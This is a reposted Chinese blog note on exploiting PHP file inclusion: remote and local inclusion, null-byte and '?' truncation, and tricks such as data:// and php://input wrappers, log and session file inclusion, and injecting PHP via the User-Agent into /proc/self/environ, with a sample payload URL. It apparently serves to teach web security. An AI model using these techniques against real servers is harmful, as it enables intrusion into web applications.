zoukankan      html  css  js  c++  java
  • php 文件包含笔记(转)

    php 中可以通过include()、require()、include_once()、require_once() 函数包含文件,被包含的文件无论类型都会被执行。 当allow_url_include 配置为on 时,则允许包含远程文件,反之为off 时则只允许包含本地文件。另外一个比较关键的配置为open_basedir,这个选项限定了可以包含的目录。

    1、代码示例:

    本地文件:192.168.1.8/test.php?test=a.jpg

    远程文件:192.168.1.8/test.php?http://www.chuhades.com/index.php

    2、截断

    可以通过截断来突破一些字符拼接。 代码:

    这个代码如果你直接192.168.1.8/test.php?test=a.jpg,实际包含的是“a.jpgabcd”,文件不存在,会出错。

    因为php 的内核是c 实现的,所以可以通过0 字节进行字符串截断。

    192.168.1.8/test.php?test=a.jpg%00

    包含远程文件时也可以通过“?”把后面的代码解释为URL 的参数,加以截断。

    3、本地文件包含的利用技巧

    (1)包含用户上传的文件。 (2)包含data:// 或php://input 等伪协议。 http://192.168.1.8/test.php?test=data:text/plain,<?php phpinfo();?>%00 (3)包含Session 文件。 (4)包含日志文件,比如web server 的 error_log、access_log。 一般步骤:httpd.conf —-> log (5)包含/proc/self/environ 文件。 在user-agent 中注入php 代码。 (6)包含上传的临时文件。

    http://www.exploit-db.com/download_pdf/17010

    (7)包含其他应用创建的文件,比如数据库文件、缓存文件、应用日志等。

    4、其他函数 fopen() fread() ……

    5、实例

    http://www.wooyun.org/bug.php?action=list&subtype=49

    http://www.wooyun.org/bug.php?action=list&subtype=15

  • 相关阅读:
    这难道就是一个普通人的一生???
    【纪念】纪念随笔数上3位数
    【移动端】js禁止页面滑动与允许滑动
    【react懒加载组件】--react-lazyload
    ES6知识整理(7)--Set和Map数据结构
    Hibernate检索策略
    Hibernate HQL多表查询
    Hibernate各种查询操作(二)
    Hibernate各种查询操作(一)
    Hibernate多对多操作
  • 原文地址:https://www.cnblogs.com/demonspider/p/2949906.html
Copyright © 2011-2022 走看看